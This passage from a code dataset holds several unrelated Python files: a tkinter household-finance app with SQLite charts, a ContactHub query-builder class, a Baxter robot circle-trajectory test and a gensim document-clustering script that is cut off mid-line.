ttk.Button(self, text='Редактировать')\n btn_edit.place(x=200, y=170)\n btn_edit.bind(\"\", self.edit)\n\n def edit(self, event):\n self.view.update_record(self.entry_description.get(), self.combobox.get(), self.entry_money.get())\n mb.showinfo(\"Редактирование\", \"Позиция успешно редактирована\")\n self.close_window()\n\n\nclass FinanceAnalyzer(tk.Toplevel):\n\n def __init__(self):\n super().__init__(root)\n self.db = db\n self.init_calculate()\n\n def init_calculate(self):\n\n self.geometry('500x360+{}+{}'.format(w - 250, h - 180))\n self.resizable(False, False)\n self.overrideredirect(True)\n root.wm_attributes(\"-disabled\", True)\n\n self.notebook = ttk.Notebook(self, width=500, height=360)\n\n # PAGE 1\n page1 = tk.Frame(self.notebook, bg='#d7d8e0')\n\n fig1, self.ax1 = plt.subplots(figsize=(3, 3.5))\n self.canvas_1 = FigureCanvasTkAgg(fig1, page1)\n self.canvas_1.get_tk_widget().place(x=210, y=0)\n\n tk.Label(page1, text=\"Выбрать период:\", bg='#d7d8e0').place(x=20, y=60)\n tk.Label(page1, text=\"с\", bg=BACKGROUND).place(x=20, y=90)\n tk.Label(page1, text=\"по\", bg=BACKGROUND).place(x=20, y=130)\n self.info_max_costs = tk.Label(page1, bg=BACKGROUND)\n self.info_max_costs.place(x=0, y=170)\n self.info_max_income = tk.Label(page1, bg=BACKGROUND)\n self.info_max_income.place(x=0, y=200)\n self.info_max_daily_costs = tk.Label(page1, bg=BACKGROUND)\n self.info_max_daily_costs.place(x=0, y=230)\n self.info_max_daily_income = tk.Label(page1, bg=BACKGROUND)\n self.info_max_daily_income.place(x=0, y=260)\n self.info_balance = tk.Label(page1, bg=BACKGROUND, font='Times 13', justify=tk.CENTER)\n self.info_balance.place(x=330, y=140)\n\n self.combobox_date_begin = ttk.Combobox(page1, values=self.get_all_dates(), width=15, state='readonly')\n self.combobox_date_begin.current(0)\n self.combobox_date_begin.place(x=40, y=90)\n self.combobox_date_begin.bind('<>', self.change_values_combobox_end)\n\n self.combobox_date_end = ttk.Combobox(page1, values=self.get_all_dates(), width=15, state='readonly')\n self.combobox_date_end.current(len(self.get_all_dates()) - 1)\n self.combobox_date_end.place(x=40, y=130)\n\n self.plotting_diagram(event=1)\n\n btn_calculate = ttk.Button(page1, text='Рассчитать')\n btn_calculate.place(x=20, y=300)\n btn_calculate.bind('', self.plotting_diagram)\n btn_cancel = ttk.Button(page1, text=\"Закрыть\", )\n btn_cancel.place(x=110, y=300)\n btn_cancel.bind('', self.close_dialog)\n\n self.notebook.add(page1, text=\"Analyzer 1\")\n\n # PAGE 2\n page2 = tk.Frame(self.notebook)\n\n fig2, self.ax2 = plt.subplots(figsize=(5, 3))\n self.canvas_2 = FigureCanvasTkAgg(fig2, page2)\n self.canvas_2.get_tk_widget().place(x=0, y=0)\n\n self.btn_next = ttk.Button(page2, text='>>')\n self.btn_next.place(x=260, y=310)\n self.btn_next.bind(\"\", lambda event: self.plotting_hist(event))\n\n btn_back = ttk.Button(page2, text='<<')\n btn_back.place(x=180, y=310)\n btn_back.bind(\"\", lambda event: self.plotting_hist(event, False))\n\n self.list_year_month = self.get_formatted_date(form='%Y-%m')\n\n self.counter_month = len(self.list_year_month) - 2\n\n self.plotting_hist(event=True)\n\n self.notebook.add(page2, text=\"Analyzer 2\")\n\n # PAGE 3\n page3 = tk.Frame(self.notebook)\n\n fig3, self.ax3 = plt.subplots(figsize=(5, 3))\n self.canvas_3 = FigureCanvasTkAgg(fig3, page3)\n self.canvas_3.get_tk_widget().place(x=0, y=0)\n\n btn_next = ttk.Button(page3, text='>>')\n btn_next.place(x=260, y=310)\n btn_next.bind(\"\", lambda event: self.plotting_h_hist(event))\n\n btn_back = ttk.Button(page3, text='<<', )\n btn_back.place(x=180, y=310)\n btn_back.bind(\"\", lambda event: self.plotting_h_hist(event, False))\n\n self.list_years = self.get_formatted_date(form='%Y')\n\n self.counter_years = len(self.list_years) - 2\n\n self.plotting_h_hist(event=True)\n\n self.notebook.add(page3, text=\"Analyzer 3\")\n\n self.notebook.pack()\n\n # запрет взаимодействия с главным окном\n self.grab_set()\n self.focus_set()\n\n def change_values_combobox_end(self, event):\n \"\"\"\n Меняет значения в виджете combobox_end\n :param event: событие по выбору нового значения в combobox_begin\n \"\"\"\n range_data = self.get_all_dates(start=self.combobox_date_begin.get())\n self.combobox_date_end['values'] = range_data\n self.combobox_date_end.current(len(range_data) - 1)\n\n def plotting_diagram(self, event):\n\n self.ax1.clear()\n\n income, costs = self.get_column_total(self.combobox_date_begin.get(), self.combobox_date_end.get())\n\n self.get_info_cost_income(self.combobox_date_begin.get(), self.combobox_date_end.get())\n\n pie = self.ax1.pie((income, costs),\n autopct='%.1f%%', pctdistance=0.77, radius=1.2, colors=['#18C24B', 'red'],\n textprops={'fontsize': 9}, wedgeprops={'linewidth': 2})[0]\n plt.setp(pie, width=0.55, edgecolor='w')\n\n self.ax1.set_title(\n f'''Анализ финансов в период\\nc {self.combobox_date_begin.get()} по {self.combobox_date_end.get()}''')\n l = self.ax1.legend(bbox_to_anchor=(0.5, 0.), loc='center', labels=['Доход', 'Расход'],\n facecolor='black', prop={'size': 9})\n for text in l.get_texts():\n text.set_color('white')\n\n self.canvas_1.draw()\n\n def plotting_hist(self, event, up=True):\n\n def processing_data(category, shift=.0, color='red'):\n\n data_selected_date = self.get_total_selected_date(year, month, category=category)\n if data_selected_date:\n max_value = max(data_selected_date, key=lambda x: x[1])\n\n self.ax2.axhline(int(max_value[1]), ls='--', alpha=0.5, color=color, zorder=1)\n index = [i for i, v in enumerate(data_selected_date) if v == max_value]\n colors = [color] * len(data_selected_date)\n c = root.winfo_rgb(color)\n r = c[0] / 65535 * 255\n g = c[1] / 65535 * 255\n b = c[2] / 65535 * 255\n r -= r / 2\n g -= g / 2\n b -= b / 2\n hc = '#%2.2x%2.2x%2.2x' % (round(r), round(g), round(b))\n for i in index:\n colors[i] = hc\n self.ax2.bar([int(data[0][-2:]) - shift for data in data_selected_date],\n [total[1] for total in data_selected_date],\n align='edge', color=colors, zorder=2, alpha=.9, label=category, width=0.5)\n del data_selected_date\n\n if up:\n if self.counter_month == len(self.list_year_month) - 1:\n self.counter_month = -1\n self.counter_month += 1\n else:\n self.btn_next['state'] = 'enable'\n if self.counter_month == 0:\n self.counter_month = len(self.list_year_month)\n self.counter_month -= 1\n\n year, month = self.list_year_month[self.counter_month].split('-')\n self.ax2.clear()\n days = monthrange(int(year), int(month))[1]\n processing_data(category='Расход')\n processing_data(category='Доход', shift=0.25, color='green')\n self.ax2.grid(True, zorder=1)\n self.ax2.set_title(f'Анализ расходов/доходов за {NAME_MONTHS[int(month) - 1]} {year}г.')\n self.ax2.set_xlim([0, days + 1])\n self.ax2.set_xticklabels([i for i in range(-1, days + 1)])\n self.ax2.xaxis.set_major_locator(MultipleLocator(1))\n\n for tick in self.ax2.get_xticklabels():\n tick.set_rotation(90)\n\n self.ax2.legend(loc='lower right')\n\n self.canvas_2.draw()\n\n def plotting_h_hist(self, event, up=True):\n\n if up:\n if self.counter_years == len(self.list_years) - 1:\n self.counter_years = -1\n self.counter_years += 1\n else:\n if self.counter_years == 0:\n self.counter_years = len(self.list_years)\n self.counter_years -= 1\n\n year = self.list_years[self.counter_years]\n income, costs = self.get_monthly_data_selected_year(year)\n\n self.ax3.clear()\n\n self.ax3.barh([int(date[1][-2:]) - 0.2 for date in income], [value[0] for value in income],\n zorder=2, height=0.4, color='#18C24B', alpha=0.8, label='Доход')\n\n self.ax3.barh([int(date[1][-2:]) + 0.2 for date in costs], [value[0] for value in costs],\n height=0.4, color='red', alpha=0.8, label='Расход', zorder=2)\n\n self.ax3.xaxis.grid(True, zorder=1)\n self.ax3.set_ylim([0, 13])\n self.ax3.set_title(f'Анализ финансов за {year} г.')\n plt.yticks(range(1, 13), NAME_MONTHS, rotation=45)\n plt.xticks(rotation=15)\n self.ax3.legend(loc='upper right')\n\n self.canvas_3.draw()\n\n def get_all_dates(self, start=0) -> list:\n \"\"\"\n Выполяет запрос к текущей базе данных для получения\n для получения всех уникальных дат в формате YYYY-mm-DD\n в период с start до крайней даты в базе данных\n \"\"\"\n\n if start == 0:\n self.db.c.execute('''SELECT DISTINCT month FROM finance''')\n else:\n self.db.c.execute('''SELECT DISTINCT month FROM finance\n WHERE month >= ? ''', (start,))\n\n return [data[0] for data in self.db.c.fetchall()]\n\n def get_total_selected_date(self, year, month, category) -> list:\n \"\"\"\n Выполяет запрос к текущей базе данных для получения\n ежедневного расхода/дохода выбранной даты (года - year,\n месяца - month)\n\n :return costs,income: кортеж из двух списков дневных расходов и доходов\n выбранного месяца\n \"\"\"\n\n self.db.c.execute('''\n SELECT DISTINCT month,IFNULL(ABS(SUM(total)),0) FROM finance\n WHERE costs = ? AND month LIKE ?\n GROUP BY month''', (category, f'{year}-{month}%',))\n\n return self.db.c.fetchall()\n\n def get_formatted_date(self, form: str) -> list:\n \"\"\"\n Выполяет запрос к текущей базе данных для получения\n всех уникальных дат в формате YYYY-mm или YYYY\n\n :param form: '%Y-%m' = YYYY-mm; '%Y' = YYYY;\n \"\"\"\n\n self.db.c.execute('''SELECT DISTINCT STRFTIME(?,month)\n FROM finance''', (form,))\n\n return [data[0] for data in self.db.c.fetchall()]\n\n def get_column_total(self, begin, end) -> tuple:\n \"\"\"\n Выполняет два запроса к текущей базе данных для получения\n суммарного дохода(income) и суммарного расхода(costs) за\n выбранный период времени\n\n :param begin: начальня дата в формате YYYY-mm-DD\n :param end: конечная дата в формате YYYY-mm-DD\n :return income,costs\n \"\"\"\n\n income = self.db.c.execute('''\n SELECT IFNULL(SUM(total),0) \n FROM finance \n WHERE (month >= ? AND month <= ?) AND \n costs = 'Доход' ''', (begin, end)).fetchall()[0][0]\n costs = self.db.c.execute('''\n SELECT IFNULL(ABS(SUM(total)),0) \n FROM finance \n WHERE (month >= ? AND month <= ?) AND \n costs = 'Расход' ''', (begin, end)).fetchall()[0][0]\n sign = '-' if costs > income else ''\n self.info_balance['text'] = f'Остаток:\\n\\n{sign}{self.cn(income - costs)}р'\n\n return income, costs\n\n def get_info_cost_income(self, begin, end):\n \"\"\"\n Выполняет четыре запроса к текущей базе данных для получения\n информации о :\n 1) максимальной разовой прибыли за выбранный период;\n 2) максимального разового расхода за ...;\n 3) максимальной дневной прибыли ...;\n 4) максимальном дневном расходе.\n\n :param begin: начальня дата в формате YYYY-mm-DD\n :param end: конечная дата в формате YYYY-mm-DD\n \"\"\"\n\n max_income = self.db.c.execute('''\n SELECT IFNULL(MAX(total),0),IFNULL(month,'') \n FROM finance WHERE (month >= ? AND month <= ?) AND \n costs = 'Доход' ''', (begin, end)).fetchall()[0]\n\n max_costs = self.db.c.execute('''\n SELECT IFNULL(MAX(ABS(total)),0) ,IFNULL(month,'')\n FROM finance WHERE (month >= ? AND month <= ?) AND \n costs = 'Расход' ''', (begin, end)).fetchall()[0]\n\n max_daily_costs = self.db.c.execute('''\n SELECT IFNULL(MAX(costs),0),IFNULL(month,'')\n FROM (SELECT IFNULL(ABS(SUM(total)),0) as costs ,month \n FROM finance WHERE (month >= ? AND month <= ?) AND \n costs = 'Расход' \n GROUP BY month) as costs_of_day''', (begin, end)).fetchall()[0]\n\n max_daily_income = self.db.c.execute('''\n SELECT IFNULL(MAX(costs),0),IFNULL(month,'')\n FROM (SELECT IFNULL(ABS(SUM(total)),0) as costs ,month \n FROM finance WHERE (month >= ? AND month <= ?) AND \n costs = 'Доход' \n GROUP BY month) as costs_of_day''', (begin, end)).fetchall()[0]\n\n self.info_max_costs['text'] = f'Макс. расход: {self.cn(max_costs[0])}р {max_costs[1]}'\n self.info_max_income['text'] = f'Макс. прибыль: {self.cn(max_income[0])}р {max_income[1]}'\n self.info_max_daily_costs['text'] = f'Макс. дневной расход: {self.cn(max_daily_costs[0])}р {max_daily_costs[1]}'\n self.info_max_daily_income[\n 'text'] = f'''Макс. дневная прибыль: {self.cn(max_daily_income[0])}р {max_daily_income[1]}'''\n\n def get_monthly_data_selected_year(self, year):\n \"\"\"\n Выполняет два запроса к текущей базе данных для получения\n общего дохода и расхода за каждый месяц выбранного года\n \"\"\"\n income = self.db.c.execute('''\n SELECT SUM(total), STRFTIME('%Y-%m',month) as d FROM finance\n WHERE costs = 'Доход' AND month LIKE ? \n GROUP BY d ''', (f'{year}%',)).fetchall()\n\n costs = self.db.c.execute('''\n SELECT ABS(SUM(total)), STRFTIME('%Y-%m',month) as m FROM finance\n WHERE costs = 'Расход' AND month LIKE ?\n GROUP BY m ''', (f'{year}%',)).fetchall()\n\n return income, costs\n\n def cn(self, n):\n \"\"\"Функция выделяющая разряды в числе 3000000 -> 3,000,000\"\"\"\n str_n = str(int(n)).lstrip('-')\n len_n = len(str_n)\n if len_n == 3:\n return str_n\n if len_n % 3 == 0:\n return str_n[:3] + re.sub(r'(\\d{3})', r',\\1', str_n[3:])\n return str_n[:len_n % 3] + re.sub(r'(\\d{3})', r',\\1', str_n[len_n % 3:])\n\n def close_dialog(self, event):\n root.wm_attributes(\"-disabled\", False)\n plt.close('all')\n self.destroy()\n\n\nclass DB:\n def __init__(self):\n self.conn = sqlite3.connect(\"finance.db\")\n self.c = self.conn.cursor()\n self.c.execute(\n '''CREATE TABLE IF NOT EXISTS finance(id integer PRIMARY KEY,\n month date,description text, costs text, total real)'''\n )\n\n self.conn.commit()\n\n def insert_data(self, description, costs, total):\n self.c.execute('''INSERT INTO finance(month,description,costs,total) VALUES (DATE('now'),?,?,?) ''',\n (description, costs, total))\n self.conn.commit()\n\n\ndef on_closing():\n if mb.askokcancel('Выход', 'Вы уверены что хотите выйти ?'):\n root.destroy()\n\n\nif __name__ == '__main__':\n root = tk.Tk()\n db = DB()\n app = Main(root)\n app.pack()\n root.title('Household finance')\n w = root.winfo_screenwidth() // 2\n h = root.winfo_screenheight() // 2\n root.geometry(\"650x450+{0}+{1}\".format(w - 325, h - 225))\n root.resizable(False, False)\n root.protocol('WM_DELETE_WINDOW', on_closing)\n root.mainloop()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":29310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"118973666","text":"# -*- coding: utf-8 -*-\nfrom contacthub._api_manager._api_customer import _CustomerAPIManager\nfrom contacthub.errors.operation_not_permitted import OperationNotPermitted\nfrom contacthub.lib.paginated_list import PaginatedList\nfrom contacthub.lib.read_only_list import ReadOnlyList\nfrom contacthub.models.customer import Customer\nfrom contacthub.models.query.criterion import Criterion\nfrom copy import deepcopy\n\n\nclass Query(object):\n \"\"\"\n Query object for applying the specified query in the APIs.\n\n Use this class for interact with the DeclarativeAPIManager Layer or APIManagerLevel and return the queried as object\n or json format variables\n \"\"\"\n\n def __init__(self, node, entity, previous_query=None):\n \"\"\"\n :param previous_query: a query to start creating a new query. This query is the base for the new one.\n :param node: the node for applying for fetching data\n :param entity: the entity on which apply the query\n \"\"\"\n self.node = node\n self.entity = entity\n self.condition = None\n self.inner_query = None\n if previous_query:\n self.inner_query = previous_query\n if previous_query['type'] == 'simple':\n self.condition = previous_query['are']['condition']\n\n @staticmethod\n def _combine_query(query1, query2, operation):\n \"\"\"\n Take two queries and complex operation and create a combined query.\n\n :param query1: the first query to combine\n :param query2: the second query to combine\n :param operation: the operation for combining the query\n :return: a new dictionary containing a combined query\n \"\"\"\n if query2.inner_query['type'] == 'combined' and query2.inner_query['conjunction'] == operation:\n query_ret = deepcopy(query2.inner_query)\n query_ret['queries'].append(query1.inner_query)\n else:\n if query1.inner_query['type'] == 'combined' and query1.inner_query['conjunction'] == operation:\n query_ret = deepcopy(query1.inner_query)\n query_ret['queries'].append(query2.inner_query)\n else:\n query_ret = {'type': 'combined', 'name': 'query', 'conjunction': operation,\n 'queries': [query1.inner_query, query2.inner_query]}\n return query_ret\n\n def __and__(self, other):\n if not self.inner_query or not other.inner_query:\n raise OperationNotPermitted('Cannot combine empty queries.')\n return Query(node=self.node, entity=self.entity,\n previous_query=self._combine_query(query1=self, query2=other, operation='INTERSECT'))\n\n def __or__(self, other):\n if not self.inner_query or not other.inner_query:\n raise OperationNotPermitted('Cannot combine empty queries.')\n return Query(node=self.node, entity=self.entity,\n previous_query=self._combine_query(query1=self, query2=other, operation='UNION'))\n\n def all(self):\n \"\"\"\n Get all queried data of an entity from the API\n\n :return: a ReadOnly list with all object queried\n \"\"\"\n\n complete_query = {'name': 'query', 'query': self.inner_query} if self.inner_query else None\n\n if self.entity is Customer:\n return PaginatedList(node=self.node, function=_CustomerAPIManager(self.node).get_all, entity_class=Customer,\n query=complete_query)\n\n def filter(self, criterion):\n \"\"\"\n Create a new API Like query for Contacthub APIs (JSON Format)\n\n :param criterion: the Criterion object for fields for query data\n :return: a Query object containing the JSON object representing a query for the APIs\n \"\"\"\n if self.inner_query and self.inner_query['type'] == 'combined':\n raise OperationNotPermitted('Cannot apply a filter on a combined query.')\n query_ret = {'type': 'simple', 'name': 'query', 'are': {}}\n new_query = {}\n if self.condition is None:\n new_query = self._filter(criterion)\n elif self.condition['type'] == 'atomic':\n new_query = self._and_query(deepcopy(self.condition), self._filter(criterion=criterion))\n else:\n if self.condition['conjunction'] == Criterion.COMPLEX_OPERATORS.AND:\n new_query = deepcopy(self.condition)\n new_query['conditions'].append(self._filter(criterion=criterion))\n elif self.condition['conjunction'] == Criterion.COMPLEX_OPERATORS.OR:\n new_query = self._and_query(deepcopy(self.condition), self._filter(criterion=criterion))\n query_ret['are']['condition'] = new_query\n return Query(node=self.node, entity=self.entity, previous_query=query_ret)\n\n @staticmethod\n def _and_query(query1, query2):\n \"\"\"\n Take to dictionary and return a dictionary containing the two queries in AND operation.\n\n :param query1: a dictionary containing the a query to put in AND\n :param query2: a dictionary containing the a query to put in AND\n :return: a new dictionary with the two queries in AND\n \"\"\"\n query_ret = {'type': 'composite', 'conditions': []}\n query_ret['conditions'].append(query1)\n query_ret['conditions'].append(query2)\n query_ret['conjunction'] = 'and'\n return query_ret\n\n def _filter(self, criterion):\n \"\"\"\n Private function for creating atomic or composite subqueries found in major query.\n\n :param criterion: the Criterion object for fields for query data\n :return: a JSON object containing a subquery for creating the query for the APIs\n \"\"\"\n if criterion.operator in Criterion.SIMPLE_OPERATORS.OPERATORS:\n atomic_query = {'type': 'atomic'}\n entity_field = criterion.first_element\n fields = [entity_field.field]\n\n while not type(entity_field.entity) is type(self.entity):\n entity_field = entity_field.entity\n fields.append(entity_field.field)\n\n attribute = ''\n for field in reversed(fields):\n attribute += field\n attribute += '.'\n\n attribute = attribute[:-1]\n\n atomic_query['attribute'] = attribute\n atomic_query['operator'] = criterion.operator\n if criterion.second_element:\n atomic_query['value'] = criterion.second_element\n return atomic_query\n\n else:\n if criterion.operator in Criterion.COMPLEX_OPERATORS.OPERATORS:\n composite_query = {'type': 'composite', 'conditions': [], 'conjunction': criterion.operator}\n first_element = self._filter(criterion.first_element)\n second_element = self._filter(criterion.second_element)\n composite_query['conditions'].append(first_element)\n composite_query['conditions'].append(second_element)\n return composite_query\n","sub_path":"contacthub/models/query/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":7048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"335330827","text":"#!/usr/bin/env python\nimport numpy as np\nfrom scipy.spatial import KDTree\nfrom scipy.interpolate import PiecewisePolynomial\n\n\nimport rospy\nfrom geometry_msgs.msg import Vector3\nfrom cs4752_proj3.srv import *\nimport baxter_interface\nfrom baxter_interface import CHECK_VERSION\nfrom baxter_pykdl import baxter_kinematics\nfrom tf.transformations import *\n\n\ndef loginfo(logstring):\n rospy.loginfo(\"Controller: {0}\".format(logstring))\n\ndef test():\n rospy.init_node('test')\n loginfo(\"Initialized node Controller\")\n\n rospy.wait_for_service(\"/move_end_effector_trajectory\")\n joint_action_server = rospy.ServiceProxy(\"/move_end_effector_trajectory\", JointAction)\n tool_trajectory = rospy.ServiceProxy(\"/move_tool_trajectory\", JointAction)\n loginfo(\"Initialized Joint Action Server Proxy\")\n rospy.wait_for_service(\"/end_effector_position\")\n position_server = rospy.ServiceProxy(\"/end_effector_position\", EndEffectorPosition)\n loginfo(\"Initialized position server proxy\")\n\n# rospy.sleep(5.0)\n\n loginfo(\"Making position call\")\n initial_position = position_server().position\n loginfo(initial_position)\n\n A = 0.06\n\n T_max = 10.0\n n_samples = 20\n T = np.linspace(0,T_max,n_samples)[1:]\n # Tau = (T/T_max)**2 * (4.0 - 4.0*(T/T_max) + (T/T_max)**2)\n # Tauprime = 2*(T/T_max**2)*(4.0 - 4.0*(T/T_max) + (T/T_max)**2) + (T/T_max)**2 * (-4.0/T_max + 2.0*(T/T_max**2))\n X = A * (1.0 - np.cos(2*np.pi*T/T_max))\n Y = A * np.sin(2*np.pi*T/T_max)\n Xprime = A*np.sin(2*np.pi*T/T_max)*2*np.pi/T_max\n Yprime = A*np.cos(2*np.pi*T/T_max)*2*np.pi/T_max\n\n times = list(T)\n positions = []\n velocities = []\n for i in xrange(len(T)):\n positions = positions + [Vector3(initial_position.x + X[i], initial_position.y + Y[i], initial_position.z)]\n velocities = velocities + [Vector3(Xprime[i], Yprime[i] , 0.0)]\n\n import matplotlib.pyplot as plt\n plt.plot(X,Y)\n plt.show()\n # plt.plot(T,X)\n # plt.plot(T,Y)\n # plt.show()\n # plt.plot(T,Xprime)\n # plt.plot(T,Yprime) \n # plt.show()\n\n joint_action_server(times, positions, velocities) \n\n loginfo(position_server().position.x - initial_position.x) \n loginfo(position_server().position.y - initial_position.y) \n loginfo(position_server().position.z - initial_position.z) \n \n# joint_action_server([4.0, 8.0], \n# [Vector3(current_position.x+0.05, \n# current_position.y-0.05, \n# current_position.z-0.005),\n# Vector3(current_position.x,\n# current_position.y-0.1,\n# current_position.z-0.01)], \n# [Vector3(0.0,-0.05,0.0), Vector3(0.05,0.0,0.0)])\n\nif __name__ == '__main__':\n test()\n","sub_path":"src/tests/test-circle.py","file_name":"test-circle.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"649541837","text":"import os\nimport sys\nimport json\nimport csv\nimport itertools\nfrom glob import glob\nfrom collections import defaultdict\nfrom random import sample\n\nfrom gensim import corpora\nfrom gensim import models\nfrom gensim.similarities import MatrixSimilarity\n\nimport pandas as pd\nimport numpy as np\n\nimport logging\n\nlogging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s',\n filename='log/kanopy_cluster_tree.log', filemode='a',\n level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n\nsys.path.append(os.path.join(os.path.dirname(__file__), os.path.pardir))\n\nimport settings\n\nNODE_DOC_MAP = {}\n\nNODE_DOC_INDEX = {}\n\nNUM_LABELS = 5\n\nif len(sys.argv) > 1:\n fname_suffix = sys.argv[1]\nelse:\n fname_suffix = ''\n\nlsi_model = models.LsiModel.load(os.path.join(settings.PERSIST_DIR,\n 'lsi_model{}-200'.format(\n fname_suffix)))\n\ntfidf_corpus = corpora.MmCorpus(os.path.join(settings.PERSIST_DIR,\n 'tfidf_corpus{}.mm'.format(\n fname_suffix)))\n\ncorpus = corpora.MmCorpus(os.path.join(settings.PERSIST_DIR,\n 'corpus{}.mm'.format(\n fname_suffix)))\n\nmydct = corpora.Dictionary.load(os.path.join(settings.PERSIST_DIR,\n 'my_dict'))\n\nterm_corpus_counts_floc = os.path.join(settings.PERSIST_DIR, 'term_corpus_counts{}.csv'.format(fname_suffix))\n\nif not os.path.exists(term_corpus_counts_floc):\n term_corpus_counts = defaultdict(int)\n\n for doc in corpus:\n for term, count in doc:\n term_corpus_counts[term] += count\n\n term_corpus_counts = pd.DataFrame.from_dict(term_corpus_counts, orient='index')\n term_corpus_counts.index.name = 'token_id'\n term_corpus_counts.columns = ['freq']\n\n term_corpus_counts.to_csv(os.path.join(settings.PERSIST_DIR,\n 'term_corpus_counts.csv'))\nelse:\n term_corpus_counts = pd.read_csv()\n term_corpus_counts.set_index('token_id')\n\nid2token = {v: k for k, v in mydct.token2id.iteritems()}\n\nid2token_df = pd.DataFrame.from_dict(id2token, orient='index')\nid2token_df.index.name = 'token_id'\nid2token_df.columns = ['token', ]\n\ncolumn_means = np.abs(lsi_model.projection.u).mean(axis=0)\ntopic_maxes = (np.abs(lsi_model.projection.u) - column_means).max(axis=1)\n\nfnames = [fname.strip() for fname in \n open(os.path.join(settings.PERSIST_DIR,\n 'document_index{}'.format(fname_suffix)))]\n\nindex_to_fname = dict(enumerate(fnames))\nfname_to_index = dict(((n, i) for i, n in enumerate(fnames)))\n\n\ndef terms_for_docid(docid):\n ix = fname_to_index[docid]\n terms = corpus.docbyoffset(corpus.index[ix])\n return [(t, w) for t, w in terms]\n\n\ndef get_keywords(doc_list):\n doc_ids = list(doc_list)\n counts = defaultdict(lambda: {'count': 0, 'doc_count': 0})\n ndocs = float(len(doc_ids))\n for doc_id in doc_ids:\n for term, count in terms_for_docid(doc_id):\n counts[term]['count'] += count\n counts[term]['doc_count'] += 1\n records = ({'token_id': k,\n 'node_freq': cd['count'],\n 'doc_count': cd['doc_count']}\n for k, cd in counts.items())\n node_freqs = pd.DataFrame(records)\n node_freqs.set_index('token_id', inplace=True)\n node_freqs = node_freqs[node_freqs.doc_count > (len(doc_ids) * 0.05)]\n node_freqs = node_freqs.join(term_corpus_counts, how='left')\n node_freqs = node_freqs.join(id2token_df, how='left')\n node_freqs['ratio'] = node_freqs.node_freq / node_freqs.freq\n node_freqs['z_score'] = (node_freqs.ratio - node_freqs.ratio.mean()) / node_freqs.ratio.std()\n node_freqs['dc_cover'] = node_freqs.doc_count / node_freqs.node_freq\n node_freqs['dc_spread'] = node_freqs.doc_count / ndocs\n node_freqs['dc_weighted'] = ((node_freqs.dc_spread + node_freqs.dc_cover)/2) * node_freqs.z_score\n keyword_df = node_freqs.sort('dc_weighted', ascending=False)\n return list(keyword_df['token'])\n\n\ndef get_node_keywords(doc_lists):\n keyword_lists = []\n for doc_list in doc_lists:\n kl = get_keywords(doc_list)\n #logger.info('found keywords:\\n{kl}'.format(kl=kl))\n keyword_lists.append(kl)\n keywords = itertools.chain.from_iterable(\n itertools.izip_longest(*keyword_lists))\n return list(set(list(keywords)[:NUM_LABELS]))\n\n\ndef cluster_name(r, lev):\n prev = r['level_'+str(lev-1)]\n this = r['cluster_r'+str(lev)]\n _prev_path = prev.split('_')[1]\n n = str(lev)+'_'\n if this >= 0:\n n += str(_prev_path) + '-' + str(this)\n else:\n n += str(_prev_path)\n return n\n\n\ndef add_level_names(b):\n b['level_0'] = b.apply(lambda x: '0_' + str(x['cluster_r0']), axis=1)\n for i in range(1, 11):\n b['level_'+str(i)] = b.apply(lambda x: cluster_name(x, i), axis=1)\n\n\ndef lookup_docs(doc_fname_series):\n return [os.path.basename(fn) for fn in doc_fname_series.tolist()]\n\n\ndef collect_nodes(b, levels):\n _seen = set([])\n for lvl in levels:\n # print lvl\n for node_name, group in b.groupby(lvl):\n # print '...'+node_name\n if node_name not in _seen:\n _seen.add(node_name)\n _doclist = lookup_docs(group['doc_id'])\n _doc_pivot = {'size': group.shape[0],\n 'id': node_name}\n NODE_DOC_MAP[node_name] = _doclist\n yield _doc_pivot\n\n\ndef reduce_key(k):\n level, path = k.split('_')\n parent_level = str(int(level) - 1)\n parent_path = '-'.join(path.split('-')[:-1])\n reduced = '_'.join([parent_level, parent_path])\n return reduced\n\n\ndef get_node_doclists(list_of_nodes):\n doc_lists = (NODE_DOC_MAP[n] for n in list_of_nodes)\n return list(doc_lists)\n\n\ndef combine_doclists(doc_lists):\n doc_ids = itertools.chain.from_iterable(itertools.izip_longest(*doc_lists))\n return [doc_id for doc_id in doc_ids if doc_id]\n\n\ndef add_level(lvl, parent_key, all_nodes):\n nodes = filter(lambda x: reduce_key(x['id']) == parent_key, all_nodes)\n next_lvl = lvl + 1\n for node in nodes:\n logger.info('beginning node: '+node['id'])\n node['children'] = add_level(next_lvl, node['id'], all_nodes)\n if len(node['children']) == 0:\n _doclists = get_node_doclists([node['id'], ])\n else:\n _doclists = get_node_doclists([c['id'] for c in node['children']])\n NODE_DOC_INDEX[node['id']] = combine_doclists(_doclists)\n logger.info('finding keywords for node: '+node['id'])\n node['keywords'] = get_node_keywords(_doclists)\n logger.info('finished node: '+node['id'])\n return nodes\n\ndef main():\n ids = ['doc_id', 'original_id']\n levels = ['level_'+str(i) for i in xrange(11)]\n rounds = ['cluster_r'+str(i) for i in xrange(11)]\n\n logger.info('reading cluster bookkeeping')\n bookie = pd.read_csv(open(os.path.join(settings.PERSIST_DIR,\n 'cluster_bookeeping_kmeans.csv'),\n 'r'),\n dtype={'doc_id':object})\n \n logger.info('making kanopy cluster table')\n add_level_names(bookie)\n\n logger.info('saving kanopy cluster table')\n bookie[ids + levels].to_csv(\n open(os.path.join(settings.PERSIST_DIR,\n 'kanopy_cluster_table.csv'), 'w'))\n # In[17]:\n\n logger.info('collecting nodes and writing to kmeans_clustered_docs')\n with open(os.path.join(settings.PERSIST_DIR,\n 'kmeans_clustered_docs.json'), 'w') as fout:\n all_nodes = [node for node in collect_nodes(bookie, levels)]\n json.dump(all_nodes, fout)\n \n # logger.info('collecting nodes from saved kmeans_clustered_docs')\n # with open(os.path.join(settings.PERSIST_DIR,\n # 'kmeans_clustered_docs.json'), 'r') as fin:\n # all_nodes = json.load(fin)\n\n logger.info('writing node names to kmeans_cluster_names')\n with open(os.path.join(settings.PERSIST_DIR,\n 'kmeans_cluster_names.json'), 'w') as fout:\n json.dump([node['id'] for node in all_nodes], fout)\n\n # logger.info('reading node names from kmeans_cluster_names')\n # with open(os.path.join(settings.PERSIST_DIR,\n # 'kmeans_cluster_names.json'), 'r') as 